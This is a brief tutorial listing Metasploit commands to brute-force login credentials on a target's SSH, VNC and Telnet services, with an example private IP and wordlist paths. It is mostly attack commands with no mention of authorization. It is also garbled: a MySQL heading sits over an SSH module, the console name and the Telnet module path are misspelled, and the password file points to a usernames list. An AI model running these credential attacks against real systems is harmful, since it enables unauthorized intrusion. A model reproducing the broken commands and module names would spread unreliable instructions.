1) BRUTE FORCE ATTACK ON MYSQL SERVICE OF TARGET:
We can perform brute force attack on ssh service of target by to find its (username) (password) so run this following commands in Metasploit.
(msfcosole)
(use auxiliary/scanner/ssh/ssh_login)
(show options)
(set RHOSTS + ip of target) e.g. (set RHOSTS 192.168.1.8)
(set USER_FILE + path of usernames file) e.g. (set USER_FILE /root/Desktop/usernames.txt)
(set PASS_FILE + path of usernames file) e.g. (set PASS_FILE /root/Desktop/usernames.txt)
(run)
2) BRUTE FORCE ATTACK ON VNC SERVICE OF TARGET:
We can perform brute force attack on vnc service of target using following commands in the metasploit;
(msfcosole)
(use auxiliary/scanner/vnc/vnc_login)
(set RHOSTS + ip of target) e.g. (set RHOSTS 192.168.1.8)
(set USERNAME + usernames) e.g. (set USERNAME root)
(exploit) or (run)
3) BRUTE FORCE ATTACK ON TELNET SERVICE OF TARGET:
Run following commands to perform brute force attack on talnet service of target;
(msfcosole)
(use auxiliary/scanner/talnet/talnet_login)
(show options)
(set RHOSTS + ip of target) e.g. (set RHOSTS 192.168.1.8)
(set USER_FILE + path of usernames file) e.g. (set USER_FILE /root/Desktop/usernames.txt)
(set PASS_FILE + path of usernames file) e.g. (set PASS_FILE /root/Desktop/usernames.txt)
(set VERBOSE false)
(run)